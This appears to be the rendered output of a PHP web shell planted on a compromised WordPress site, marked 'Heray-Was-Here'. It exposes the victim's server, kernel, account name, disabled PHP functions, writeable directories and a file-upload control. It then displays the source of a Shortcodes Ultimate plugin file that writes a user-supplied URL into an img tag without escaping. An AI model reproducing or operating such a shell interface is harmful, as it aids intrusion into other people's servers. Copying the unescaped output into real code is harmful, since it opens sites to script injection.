Heray-Was-Here
Server : Apache
System : Linux vps37394.inmotionhosting.com 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : jasonp18 ( 1000)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/jasonp18/www/wp-content/plugins/shortcodes-ultimate/includes/shortcodes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/jasonp18/www/wp-content/plugins/shortcodes-ultimate/includes/shortcodes/media.php
<?php

su_add_shortcode( array(
		'id'         => 'media',
		'callback'   => 'su_shortcode_media',
		'deprecated' => true,
		'hidden'     => true,
	) );

function su_shortcode_media( $atts = null, $content = null ) {

	$atts = shortcode_atts( array(
			'url'        => '',
			'width'      => 600,
			'height'     => 400,
			'class'      => ''
		), $atts, 'media' );

	if ( strpos( $atts['url'], 'youtu' ) !== false ) {
		return su_shortcode_youtube( $atts, $content );
	}
	elseif ( strpos( $atts['url'], 'vimeo' ) !== false ) {
		return su_shortcode_vimeo( $atts, $content );
	}
	else {
		return '<img src="' . $atts['url'] . '" width="' . $atts['width'] . '" height="' . $atts['height'] . '" style="max-width:100%" />';
	}

}

Hry